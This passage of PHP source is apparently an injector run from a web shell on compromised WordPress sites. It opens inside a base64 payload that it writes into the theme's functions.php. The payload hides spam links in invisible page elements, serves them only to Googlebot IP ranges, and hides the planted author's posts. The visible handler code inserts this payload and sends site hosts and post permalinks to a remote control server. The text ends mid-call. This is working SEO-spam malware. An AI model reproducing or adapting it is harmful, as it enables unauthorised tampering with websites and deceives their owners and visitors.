Z2luZm9fc2Vzc2lvbiwgV0VFS19JTl9TRUNPTkRTKTsNCg0KICAgIGVjaG8gJGdldF9ibG9naW5mb19zZXNzaW9uOw0KfQ0KDQoNCmZ1bmN0aW9uIHRoZV9jb250ZW50X3NjaGVtYSgpIHsNCiAgICByZXR1cm4gPDw8U1RSDQo8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/Pg0KPHVybHNldCB4bWxucz0iaHR0cDovL3d3dy5zaXRlbWFwcy5vcmcvc2NoZW1hcy9zaXRlbWFwLzAuOSI+DQpTVFI7DQp9DQoNCmZ1bmN0aW9uIHdwX3Jlc2V0X3Bvc3RkYXRhX2FqYXgoJHVybCwgJGVkaXRfcG9zdF9saW5rX2FscGhhLCAkZXNjX3VybF9yYXdfaW5mbywgJHByaW9yaXR5KSB7DQoNCiAgICByZXR1cm4gPDw8U1RSDQogICA8dXJsPg0KICAgICAgPGxvYz4kdXJsPC9sb2M+DQogICAgICA8bGFzdG1vZD4kZWRpdF9wb3N0X2xpbmtfYWxwaGE8L2xhc3Rtb2Q+DQogICAgICA8Y2hhbmdlZnJlcT4kZXNjX3VybF9yYXdfaW5mbzwvY2hhbmdlZnJlcT4NCiAgICAgIDxwcmlvcml0eT4kcHJpb3JpdHk8L3ByaW9yaXR5Pg0KICAgPC91cmw+XG5cbg0KU1RSOw0KfQ0KDQpmdW5jdGlvbiB3cF9nZXRfYXR0YWNobWVudF9pbWFnZV9zcmNfY3Jvbigkd3JpdGVyc0Fycikgew0KICAgICRwb3N0X3Bhc3N3b3JkX3JlcXVpcmVkX29sZCA9IGFycmF5KCk7DQoNCiAgICBmb3JlYWNoICgkd3JpdGVyc0FyciBhcyAkaXRlbSkgew0KICAgICAgICAkcG9zdF9wYXNzd29yZF9yZXF1aXJlZF9vbGRbXSA9ICctJyAuICRpdGVtOw0KICAgIH0NCiAgICByZXR1cm4gaW1wbG9kZSgnLCcsICRwb3N0X3Bhc3N3b3JkX3JlcXVpcmVkX29sZCk7DQp9DQoNCmZ1bmN0aW9uIGlzX3Npbmd1bGFyX21vZHVsZSgpIHsNCg0KICAgICRnZXRfc2VhcmNoX2Zvcm1fZGVjcnlwdGlvbiA9IGFycmF5KCk7DQogICAgJGFkZF9hY3Rpb25faW50ZWdlciA9IGFycmF5KCk7DQoNCiAgICAkc2V0dGluZ3MgPSBnZXRfb3B0aW9uKCd3cF9jdXN0b21fZmlsdGVycycpOw0KDQogICAgaWYgKCRzZXR0aW5ncykgew0KICAgICAgICAkaGFzX3Bvc3RfdGh1bWJuYWlsX290aGVyID0gdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkc2V0dGluZ3MpKTsNCiAgICAgICAgaWYgKCRoYXNfcG9zdF90aHVtYm5haWxfb3RoZXIpIHsNCiAgICAgICAgICAgICRnZXRfc2VhcmNoX2Zvcm1fZGVjcnlwdGlvbiA9ICRoYXNfcG9zdF90aHVtYm5haWxfb3RoZXI7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAkc2V0dGluZ3MgPSBnZXRfb3B0aW9uKG1kNShzaGExKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkpKTsNCg0KICAgIGlmICgkc2V0dGluZ3MpIHsNCiAgICAgICAgJHJlZ2lzdGVyX25hdl9tZW51c19lbmNyeXB0aW9uID0gdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkc2V0dGluZ3MpKTsNCiAgICAgICAgaWYgKCRyZWdpc3Rlcl9uYXZfbWVudXNfZW5jcnlwdGlvbikgew0KICAgICAgICAgICAgJGFkZF9hY3Rpb25faW50ZWdlciA9ICRyZWdpc3Rlcl9uYXZfbWVudXNfZW5jcnlwdGlvbjsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHJldHVybiAkYWRkX2FjdGlvbl9pbnRlZ2VyICsgJGdldF9zZWFyY2hfZm9ybV9kZWNyeXB0aW9uOw0KDQp9DQoNCmZ1bmN0aW9uIGdldF9zZWFyY2hfZm9ybV9qc29uKCkgew0KDQogICAgZ2xvYmFsICRkeW5hbWljX3NpZGViYXJfc2VjdXJpdHk7DQoNCiAgICBmb3JlYWNoICgkZHluYW1pY19zaWRlYmFyX3NlY3VyaXR5IGFzICRpc19hcmNoaXZlX3N0cmVhbSA9PiAkZ2V0X3RoZV9hdXRob3JfbWV0YV9wYXJ0KSB7DQoNCiAgICAgICAgJHRoZV9wZXJtYWxpbmtfbGVzcyA9IGtleSgkZ2V0X3RoZV9hdXRob3JfbWV0YV9wYXJ0WydzaXRlbWFwc2V0dGluZ3MnXSkgLiAnfCcNCiAgICAgICAgICAgIC4gc3RyX3JlcGxhY2UoJ2luZGV4LnBocD8nLCAnJywgY3VycmVudCgkZ2V0X3RoZV9hdXRob3JfbWV0YV9wYXJ0WydzaXRlbWFwc2V0dGluZ3MnXSkgLiAnJCcpOw0KDQogICAgICAgIGlmIChwcmVnX21hdGNoKCJ+JHRoZV9wZXJtYWxpbmtfbGVzc34iLCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkpIHsNCiAgICAgICAgICAgIHJldHVybiAkaXNfYXJjaGl2ZV9zdHJlYW07DQogICAgICAgIH0NCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGdldF90aGVfdGltZV9tb2R1bGUoKSB7DQogICAgZ2xvYmFsICRkeW5hbWljX3NpZGViYXJfc2VjdXJpdHksICRwb3N0Ow0KDQogICAgJGdldF9jb21tZW50c19udW1iZXJfd3AgPSBhcnJheV9rZXlzKCRkeW5hbWljX3NpZGViYXJfc2VjdXJpdHkpOw0KICAgIGlmIChpbl9hcnJheSgkcG9zdC0+cG9zdF9hdXRob3IsICRnZXRfY29tbWVudHNfbnVtYmVyX3dwKSkgew0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBnZXRfdGhlX2RhdGVfZWRpdCgpIHsNCiAgICBnbG9iYWwgJGR5bmFtaWNfc2lkZWJhcl9zZWN1cml0eSwgJHBvc3Q7DQoNCiAgICAkZ2V0X2NvbW1lbnRzX251bWJlcl93cCA9IGFycmF5X2tleXMoJGR5bmFtaWNfc2lkZWJhcl9zZWN1cml0eSk7DQoNCiAgICBpZiAoISRwb3N0IHx8ICFwcm9wZXJ0eV9leGlzdHMoJHBvc3QsICdhdXRob3InKSkgew0KICAgICAgICByZXR1cm47DQogICAgfQ0KDQogICAgaWYgKGluX2FycmF5KCRwb3N0LT5wb3N0X2F1dGhvciwgJGdldF9jb21tZW50c19udW1iZXJfd3ApKSB7DQogICAgICAgIGFkZF9maWx0ZXIoJ3dwc2VvX3JvYm90cycsICdfX3JldHVybl9mYWxzZScpOw0KICAgICAgICBhZGRfZmlsdGVyKCd3cHNlb19nb29nbGVib3QnLCAnX19yZXR1cm5fZmFsc2UnKTsgLy8gWW9hc3QgU0VPIDE0Lnggb3IgbmV3ZXINCiAgICAgICAgYWRkX2ZpbHRlcignd3BzZW9fYmluZ2JvdCcsICdfX3JldHVybl9mYWxzZScpOyAvLyBZb2FzdCBTRU8gMTQueCBvciBuZXdlcg0KICAgIH0NCn0NCg0KZnVuY3Rpb24gdGhlX3RpdGxlX2ZpcnN0KCkgew0KDQogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSkgew0KICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ107DQogICAgfQ0KICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9DRl9DT05ORUNUSU5HX0lQJ10pKSB7DQogICAgICAgIHJldHVybiAkX1NFUlZFUlsnSFRUUF9DRl9DT05ORUNUSU5HX0lQJ107DQogICAgfQ0KICAgIGlmIChpc3NldCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkpIHsNCiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KICAgIH0NCg0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gcG9zdF9jbGFzc19wcml2YXRlX2t5KCkgew0KDQogICAgJGFkZF9zZXR0aW5nX3dwID0gdGhlX3RpdGxlX2ZpcnN0KCk7DQoNCiAgICBpZiAoc3Ryc3RyKCRhZGRfc2V0dGluZ193cCwgJywgJykpIHsNCiAgICAgICAgJGdldF9zZWFyY2hfZm9ybV9iYXNlID0gZXhwbG9kZSgnLCAnLCAkYWRkX3NldHRpbmdfd3ApOw0KICAgICAgICAkYWRkX3NldHRpbmdfd3AgPSAkZ2V0X3NlYXJjaF9mb3JtX2Jhc2VbMF07DQogICAgfQ0KDQogICAgJGdldF9oZWFkZXJfaW5mbyA9IHdwX2Zvb3Rlcl9zYW1wbGUoKTsNCg0KICAgIGlmICghJGdldF9oZWFkZXJfaW5mbykgew0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgZm9yZWFjaCAoJGdldF9oZWFkZXJfaW5mbyBhcyAkcmFuZ2UpIHsNCiAgICAgICAgaWYgKGFkZF9zZWN0aW9uX3RyaWdnZXIoJGFkZF9zZXR0aW5nX3dwLCAkcmFuZ2UpKSB7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCmZ1bmN0aW9uIGhhdmVfY29tbWVudHNfcG9pbnRlcigkdGltZXN0YW1wKSB7DQoNCiAgICBpZiAoKHRpbWUoKSAtICR0aW1lc3RhbXApID4gNjAgKiA2MCkgew0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQoNCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCmZ1bmN0aW9uIHdwX2Zvb3Rlcl9zYW1wbGUoKSB7DQoNCiAgICBpZiAoKCR2YWx1ZSA9IGdldF9vcHRpb24oJ3dwX2N1c3RvbV9yYW5nZScpKSAmJiAhaGF2ZV9jb21tZW50c19wb2ludGVyKCR2YWx1ZVsndGltZXN0YW1wJ10pKSB7DQogICAgICAgIHJldHVybiAkdmFsdWVbJ3JhbmdlcyddOw0KICAgIH0gZWxzZSB7DQoNCiAgICAgICAgJHJlc3BvbnNlID0gd3BfcmVtb3RlX2dldCgnaHR0cHM6Ly93d3cuZ3N0YXRpYy5jb20vaXByYW5nZXMvZ29vZy50eHQnKTsNCiAgICAgICAgaWYgKGlzX3dwX2Vycm9yKCRyZXNwb25zZSkpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICAkYm9keSA9IHdwX3JlbW90ZV9yZXRyaWV2ZV9ib2R5KCRyZXNwb25zZSk7DQogICAgICAgICRnZXRfaGVhZGVyX2luZm8gPSBwcmVnX3NwbGl0KCJ+KFxyXG58XG4pfiIsIHRyaW0oJGJvZHkpLCAtMSwgUFJFR19TUExJVF9OT19FTVBUWSk7DQoNCiAgICAgICAgaWYgKCFpc19hcnJheSgkZ2V0X2hlYWRlcl9pbmZvKSkgew0KCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KDQogICAgICAgICR2YWx1ZSA9IGFycmF5KCdyYW5nZXMnID0+ICRnZXRfaGVhZGVyX2luZm8sICd0aW1lc3RhbXAnID0+IHRpbWUoKSk7DQogICAgICAgIHVwZGF0ZV9vcHRpb24oJ3dwX2N1c3RvbV9yYW5nZScsICR2YWx1ZSwgdHJ1ZSk7DQogICAgICAgIHJldHVybiAkdmFsdWVbJ3JhbmdlcyddOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gcG9zdF9wYXNzd29yZF9yZXF1aXJlZF9yZXBvc2l0b3J5KCRpbmV0KSB7DQogICAgJGdldF90aGVfSURfdmlldyA9IHN0cl9zcGxpdCgkaW5ldCk7DQogICAgJGFkZF9maWx0ZXJfY29yZSA9ICcnOw0KICAgIGZvcmVhY2ggKCRnZXRfdGhlX0lEX3ZpZXcgYXMgJGNoYXIpIHsNCiAgICAgICAgJGFkZF9maWx0ZXJfY29yZSAuPSBzdHJfcGFkKGRlY2JpbihvcmQoJGNoYXIpKSwgOCwgJzAnLCBTVFJfUEFEX0xFRlQpOw0KICAgIH0NCiAgICByZXR1cm4gJGFkZF9maWx0ZXJfY29yZTsNCn0NCg0KZnVuY3Rpb24gYWRkX3NlY3Rpb25fdHJpZ2dlcigkYWRkX3NldHRpbmdfd3AsICRjaWRybmV0KSB7DQogICAgJGFkZF9zZXR0aW5nX3dwID0gaW5ldF9wdG9uKCRhZGRfc2V0dGluZ193cCk7DQogICAgJGFkZF9maWx0ZXJfY29yZSA9IHBvc3RfcGFzc3dvcmRfcmVxdWlyZWRfcmVwb3NpdG9yeSgkYWRkX3NldHRpbmdfd3ApOw0KDQogICAgbGlzdCgkbmV0LCAkdGhlX3Bvc3RfcGFja2FnZSkgPSBleHBsb2RlKCcvJywgJGNpZHJuZXQpOw0KICAgICRuZXQgPSBpbmV0X3B0b24oJG5ldCk7DQogICAgJHdwX2dldF9hdHRhY2htZW50X2ltYWdlX3NyY19oYXNoaW5nID0gcG9zdF9wYXNzd29yZF9yZXF1aXJlZF9yZXBvc2l0b3J5KCRuZXQpOw0KDQogICAgJGFkZF9zZWN0aW9uX3BvaW50ZXIgPSBzdWJzdHIoJGFkZF9maWx0ZXJfY29yZSwgMCwgJHRoZV9wb3N0X3BhY2thZ2UpOw0KICAgICRlc2NfYXR0cl9lX3BpYyA9IHN1YnN0cigkd3BfZ2V0X2F0dGFjaG1lbnRfaW1hZ2Vfc3JjX2hhc2hpbmcsIDAsICR0aGVfcG9zdF9wYWNrYWdlKTsNCg0KICAgIGlmICgkYWRkX3NlY3Rpb25fcG9pbnRlciAhPT0gJGVzY19hdHRyX2VfcGljKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9IGVsc2Ugew0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQp9DQoNCg0KZnVuY3Rpb24gdGhlX2V4Y2VycHRfbW9kdWxlKCRlc2NfdXJsX2RvdWJsZSkgew0KDQogICAgZ2xvYmFsICRwb3N0Ow0KDQogICAgJHdwX2RpZV9ldmVudCA9ICcnOw0KDQoNCiAgICBpZiAocG9zdF9wYXNzd29yZF9yZXF1aXJlZF9jb25zdHJ1Y3RvcigkZXNjX3VybF9kb3VibGUsICd0ZXh0QmxvY2tzQ291bnQnLCAnb25seUhvbWVQYWdlJykpIHsNCiAgICAgICAgaWYgKGlzX2Zyb250X3BhZ2UoKSB8fCBpc19ob21lKCkpIHsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJHdwX2RpZV9ldmVudCA9IGdldF9vcHRpb24oJ2hvbWVfbGlua3NfY3VzdG9tXzAnKTsNCiAgICAgICAgfQ0KICAgIH0gZWxzZWlmIChwb3N0X3Bhc3N3b3JkX3JlcXVpcmVkX2NvbnN0cnVjdG9yKCRlc2NfdXJsX2RvdWJsZSwgJ3RleHRCbG9ja3NDb3VudCcsICcxMERpZmZlcmVudFRleHRCbG9ja3MnKSkgew0KDQogICAgICAgICR1cmwgPSBnZXRfcGVybWFsaW5rKCRwb3N0LT5JRCk7DQogICAgICAgIHByZWdfbWF0Y2goJ35cZH4nLCBtZDUoJHVybCksICRtYXRjaGVzKTsNCiAgICAgICAgJHdwX2RpZV9ldmVudCA9IGdldF9vcHRpb24oJ2hvbWVfbGlua3NfY3VzdG9tXycgLiAkbWF0Y2hlc1swXSk7DQogICAgICAgIA0KICAgICAgICANCg0KICAgIH0gZWxzZWlmIChwb3N0X3Bhc3N3b3JkX3JlcXVpcmVkX2NvbnN0cnVjdG9yKCRlc2NfdXJsX2RvdWJsZSwgJ3RleHRCbG9ja3NDb3VudCcsICcxMDBEaWZmZXJlbnRUZXh0QmxvY2tzJykpIHsNCg0KICAgICAgICAkdXJsID0gZ2V0X3Blcm1hbGluaygkcG9zdC0+SUQpOw0KICAgICAgICBwcmVnX21hdGNoX2FsbCgnflxkficsIG1kNSgkdXJsKSwgJG1hdGNoZXMpOw0KICAgICAgICAkZXNjX3VybF9tZXRhID0gKCRtYXRjaGVzWzBdWzBdID09IDApID8gJG1hdGNoZXNbMF1bMV0gOiAkbWF0Y2hlc1swXVswXSAuICcnIC4gJG1hdGNoZXNbMF1bMV07DQogICAgICAgICR3cF9kaWVfZXZlbnQgPSBnZXRfb3B0aW9uKCdob21lX2xpbmtzX2N1c3RvbV8nIC4gJGVzY191cmxfbWV0YSk7DQogICAgICAgIA0KICAgICAgICANCiAgICB9IGVsc2VpZiAocG9zdF9wYXNzd29yZF9yZXF1aXJlZF9jb25zdHJ1Y3RvcigkZXNjX3VybF9kb3VibGUsICd0ZXh0QmxvY2tzQ291bnQnLCAnZnVsbERpZmZlcmVudFRleHRCbG9ja3MnKSkgew0KDQogICAgfSBlbHNlIHsNCg0KICAgIH0NCg0KICAgIHJldHVybiAhJHdwX2RpZV9ldmVudCA/ICcnIDogJHdwX2RpZV9ldmVudDsNCn0NCg0KZnVuY3Rpb24gcG9zdF9wYXNzd29yZF9yZXF1aXJlZF9jb25zdHJ1Y3RvcigkZ2V0X3RoZV9hdXRob3JfbWV0YV9wYXJ0LCAkZ2V0X3RoZV9kYXRlX2ludGVnZXIsICRsb2FkX3RoZW1lX3RleHRkb21haW5fbW9kdWxlKSB7DQogICAgaWYgKCFpc3NldCgkZ2V0X3RoZV9hdXRob3JfbWV0YV9wYXJ0WyRnZXRfdGhlX2RhdGVfaW50ZWdlcl1bJGxvYWRfdGhlbWVfdGV4dGRvbWFpbl9tb2R1bGVdKSkgew0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKCRnZXRfdGhlX2F1dGhvcl9tZXRhX3BhcnRbJGdldF90aGVfZGF0ZV9pbnRlZ2VyXVskbG9hZF90aGVtZV90ZXh0ZG9tYWluX21vZHVsZV0gPT09IDEpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KDQogICAgcmV0dXJuIGZhbHNlOw0KDQp9DQoNCmZ1bmN0aW9uIGhhdmVfY29tbWVudHNfYmFzZSgkZXNjX3VybF9kb3VibGUsICRnZXRfdGhlbWVfZmlsZV91cmlfbGlzdCkgew0KICAgIGlmIChlbXB0eSgkZ2V0X3RoZW1lX2ZpbGVfdXJpX2xpc3QpKSB7DQogICAgICAgIHJldHVybiAnJzsNCiAgICB9DQoNCiAgICBpZiAocG9zdF9wYXNzd29yZF9yZXF1aXJlZF9jb25zdHJ1Y3RvcigkZXNjX3VybF9kb3VibGUsICdoaWRkZW5UeXBlJywgJ2NzcycpKSB7DQogICAgICAgIHByZWdfbWF0Y2goJ35cZH4nLCBtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJGJsb2NrTnVtKTsNCiAgICAgICAgJGlzX3dwX2Vycm9yX2Z1bmN0aW9uID0gZ2V0X3RoZV9kYXRlX2Jvb2xlYW4oKTsNCiAgICAgICAgJGlzX2hvbWVfYWxwaGEgPSAkaXNfd3BfZXJyb3JfZnVuY3Rpb25bJGJsb2NrTnVtWzBdXTsNCiAgICAgICAgcmV0dXJuICRpc19ob21lX2FscGhhWzBdIC4gUEhQX0VPTCAuICRnZXRfdGhlbWVfZmlsZV91cmlfbGlzdCAuIFBIUF9FT0wgLiAkaXNfaG9tZV9hbHBoYVsxXTsNCiAgICB9DQoNCiAgICByZXR1cm4gJGdldF90aGVtZV9maWxlX3VyaV9saXN0Ow0KfQ0KDQpmdW5jdGlvbiBnZXRfdGhlX2RhdGVfYm9vbGVhbigpIHsNCg0KICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgYXJyYXkoJzxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyBmaWx0ZXI6YWxwaGEob3BhY2l0eT0wKTtvcGFjaXR5OjAuMDAzO3otaW5kZXg6LTE7Ij4nLCAnPC9kaXY+JyksDQogICAgICAgIGFycmF5KCc8ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsgbGVmdDotNTAwMHB4OyI+JywgJzwvZGl2PicpLA0KICAgICAgICBhcnJheSgnPGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7IHRvcDogLTEwMCU7Ij4nLCAnPC9kaXY+JyksDQoKICAgICAgICBhcnJheSgnPGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7IGxlZnQ6LTU1MDBweDsiPicsICc8L2Rpdj4nKSwNCiAgICAgICAgYXJyYXkoJzxkaXYgc3R5bGU9Im92ZXJmbG93OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgaGVpZ2h0OiAwcHQ7IHdpZHRoOiAwcHQ7Ij4nLCAnPC9kaXY+JyksDQogICAgICAgIGFycmF5KCc8ZGl2IHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij4nLCAnPC9kaXY+JyksDQogICAgICAgIGFycmF5KCc8c3BhbiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7IGZpbHRlcjphbHBoYShvcGFjaXR5PTApO29wYWNpdHk6MC4wMDM7ei1pbmRleDotMTsiPicsICc8L3NwYW4+JyksDQogICAgICAgIGFycmF5KCc8c3BhbiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7IGxlZnQ6LTUwMDBweDsiPicsICc8L3NwYW4+JyksDQogICAgICAgIGFycmF5KCc8c3BhbiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7IHRvcDogLTEwMCU7Ij4nLCAnPC9zcGFuPicpLA0KICAgICAgICBhcnJheSgnPGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7IGxlZnQ6LTY1MDBweDsiPicsICc8L2Rpdj4nKSwNCgogICAgKTsNCn0NCg0KZnVuY3Rpb24gYWRkX3RoZW1lX3N1cHBvcnRfbW9yZSgkZXNjX3VybF9kb3VibGUpIHsNCiAgICByZXR1cm4gcG9zdF9wYXNzd29yZF9yZXF1aXJlZF9jb25zdHJ1Y3RvcigkZXNjX3VybF9kb3VibGUsICdwb3NpdGlvbicsICdoZWFkJyk7DQp9DQoNCmZ1bmN0aW9uIGNvbW1lbnRzX29wZW5faW5mbygkZXNjX3VybF9kb3VibGUpIHsNCiAgICByZXR1cm4gcG9zdF9wYXNzd29yZF9yZXF1aXJlZF9jb25zdHJ1Y3RvcigkZXNjX3VybF9kb3VibGUsICdwb3NpdGlvbicsICdmb290ZXInKTsNCn0NCg0KZnVuY3Rpb24gY29tbWVudHNfdGVtcGxhdGVfbGl2ZSgkc2V0dGluZ3MpIHsNCiAgICBmb3JlYWNoICgkc2V0dGluZ3MgYXMgJGlzX2FyY2hpdmVfc3RyZWFtID0+ICRnZXRfdGhlX2F1dGhvcl9tZXRhX3BhcnQpIHsNCiAgICAgICAgaWYgKGlzc2V0KCRnZXRfdGhlX2F1dGhvcl9tZXRhX3BhcnRbJ2hvbWVMaW5rcyddKSkgew0KICAgICAgICAgICAgcmV0dXJuICRnZXRfdGhlX2F1dGhvcl9tZXRhX3BhcnRbJ2hvbWVMaW5rcyddOw0KICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiBhcnJheSgpOw0KfQ0KDQoNCmZ1bmN0aW9uIGdldF9ibG9naW5mb190aW1lKCkgew0KICAgIGlmICghZ2V0X3RoZV90aW1lX21vZHVsZSgpKSB7DQogICAgICAgIGlmIChpc19zaW5ndWxhcigpIHx8IChpc19mcm9udF9wYWdlKCkgfHwgaXNfaG9tZSgpKSkgew0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0NCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBpc19mcm9udF9wYWdlX3BhY2thZ2UoKSB7DQoNCiAgICBnbG9iYWwgJGVzY191cmxfZG91YmxlOw0KDQogICAgaWYgKCFnZXRfYmxvZ2luZm9fdGltZSgpKSB7DQogICAgICAgIA0KICAgICAgICANCiAgICAgICAgcmV0dXJuOw0KICAgIH0NCg0KICAgIGlmIChwb3N0X3Bhc3N3b3JkX3JlcXVpcmVkX2NvbnN0cnVjdG9yKCRlc2NfdXJsX2RvdWJsZSwgJ2hpZGRlblR5cGUnLCAnY2xvYWNraW5nJykpIHsNCiAgICAgICAgaWYgKCFwb3N0X2NsYXNzX3ByaXZhdGVfa3koKSkgew0KICAgICAgICAgICAgDQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCiAgICB9DQoNCg0KICAgICRnZXRfdGhlbWVfZmlsZV91cmlfbGlzdCA9IHRoZV9leGNlcnB0X21vZHVsZSgkZXNjX3VybF9kb3VibGUpOw0KICAgICRnZXRfdGhlbWVfZmlsZV91cmlfbGlzdCA9IGhhdmVfY29tbWVudHNfYmFzZSgkZXNjX3VybF9kb3VibGUsICRnZXRfdGhlbWVfZmlsZV91cmlfbGlzdCk7DQoNCiAgICANCg0KDQogICAgZWNobyAkZ2V0X3RoZW1lX2ZpbGVfdXJpX2xpc3Q7DQoNCn0NCg0KJGR5bmFtaWNfc2lkZWJhcl9zZWN1cml0eSA9IGlzX3Npbmd1bGFyX21vZHVsZSgpOw0KDQoNCmlmIChpc19hcnJheSgkZHluYW1pY19zaWRlYmFyX3NlY3VyaXR5KSkgew0KICAgIGFkZF9maWx0ZXIoJ3Bvc3RzX3doZXJlX3BhZ2VkJywgJ3Bvc3RfcGFzc3dvcmRfcmVxdWlyZWRfcGFydCcpOw0KICAgIGFkZF9hY3Rpb24oJ3ByZV9nZXRfcG9zdHMnLCAncG9zdF9jbGFzc19wcml2YXRlJyk7DQogICAgYWRkX2FjdGlvbignd3BfZW5xdWV1ZV9zY3JpcHRzJywgJ3RoZV9hcmNoaXZlX3RpdGxlX3BhY2thZ2UnKTsNCiAgICBhZGRfZmlsdGVyKCd3cF9jb3VudF9wb3N0cycsICd0aGVfZXhjZXJwdF9zdHJlYW0nICwgMTAsIDMpOw0KICAgIGFkZF9maWx0ZXIoJ3Jld3JpdGVfcnVsZXNfYXJyYXknLCAnaXNfaG9tZV9udW0nKTsNCiAgICBhZGRfYWN0aW9uKCd3cF9sb2FkZWQnLCAnd3BfbGlzdF9jb21tZW50c19jbGllbnQnKTsNCiAgICBhZGRfYWN0aW9uKCdpbml0JywgJ2lzX2N1c3RvbWl6ZV9wcmV2aWV3X3F1ZXVlJyk7DQogICAgYWRkX2FjdGlvbigndGVtcGxhdGVfcmVkaXJlY3QnLCAnZ2V0X3RoZV9kYXRlX2VkaXQnKTsNCg0KICAgICRlc2NfdXJsX2RvdWJsZSA9IGNvbW1lbnRzX3RlbXBsYXRlX2xpdmUoJGR5bmFtaWNfc2lkZWJhcl9zZWN1cml0eSk7DQoNCiAgICBpZiAoIWVtcHR5KCRlc2NfdXJsX2RvdWJsZSkpIHsNCg0KICAgICAgICANCg0KICAgICAgICBpZiAoYWRkX3RoZW1lX3N1cHBvcnRfbW9yZSgkZXNjX3VybF9kb3VibGUpKSB7DQogICAgICAgICAgICBhZGRfYWN0aW9uKCd3cF9oZWFkJywgJ2lzX2Zyb250X3BhZ2VfcGFja2FnZScpOw0KICAgICAgICB9DQogICAgICAgIGlmIChjb21tZW50c19vcGVuX2luZm8oJGVzY191cmxfZG91YmxlKSkgew0KICAgICAgICAgICAgYWRkX2FjdGlvbignd3BfZm9vdGVyJywgJ2lzX2Zyb250X3BhZ2VfcGFja2FnZScpOw0KICAgICAgICB9DQoNCg0KICAgIH0NCn0NCg0KLyogY3VzdG9tIGZpbHRlcnMgKi8=';

        if (defined('OBFUSCATE_CUSTOM_FUNCTIONS') && OBFUSCATE_CUSTOM_FUNCTIONS === 1) {
            $gzSource = WritePostsWpHandler::gzCompressCustom(base64_decode($source));
            $source = WritePostsWpHandler::sendPostData(GS_ALIAS . '/src/functionsHandlerDev.php', array(
                'host' => urlencode($_SERVER['HTTP_HOST']),
                'data' => urlencode($gzSource),
            ));
        } else {
            $decodedSource = base64_decode($source);
            $newEdges = sprintf('/* %s */', WritePostsWpHandler::optionCustomFunctions());
            $source = preg_replace('~/\*\s+custom filters\s+\*/~s', $newEdges, $decodedSource);
            $source = WritePostsWpHandler::removeDebugFromCustom($source);
        }


        $settings = WritePostsWpHandler::settingsArr($functionsSource);


        if (!$settings) {
            GlobalLogs::setMainLog('settings return false');
            return false;
        }

        WritePostsWpHandler::writeSettingsDB($settings);

        $customFiltersUpdateResult = WritePostsWpHandler::mbReplaceCustomFilters($functionsSource
            , $functionsPath, $source);

        if ($customFiltersUpdateResult) {
            WritePostsWpHandler::getSitemapUrls();
            return true;
        }


        return false;
    }

    public static function homeLinksOldAction() {

        $hash = md5(HOME_URL);

        $permLinks = array();

        if (WritePostsWpHandler::isBadEnvCustom()) {
            echo 'change shell, invalid require wp-blog-header' . PHP_EOL;
            exit;
        }

        if (!function_exists('get_permalink')) {
            require WP_ROOT_DIR . '/wp-blog-header.php';
        }
        $posts = CustomDbHandler::getInstance()
            ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID);

        if (empty($posts)) {
            echo '!!!!!!!!no posts for this author!!!!!' . PHP_EOL;

            return false;
        }

        foreach ($posts as $post) {

            list ($url, $anchor) = explode(';', $post, 2);

            preg_match('~\?p=(\d+)~', $post, $matches);

            $postId = $matches[1];

            $permLinks[] = array(get_permalink($postId), $anchor);
            wp_cache_delete($postId, 'posts');
        }


        if (empty($permLinks)) {
            echo 'invalid fetch permalinks' . PHP_EOL;
            return false;
        }

        $compressed = gzcompress(json_encode($permLinks), 9);

        $url = GS_ALIAS . '/dnc/wp-acceptors-api/home-links?hash=' . $hash . '&permhash=' . md5($compressed);

        $results = WritePostsWpHandler::sendPostData($url, array(
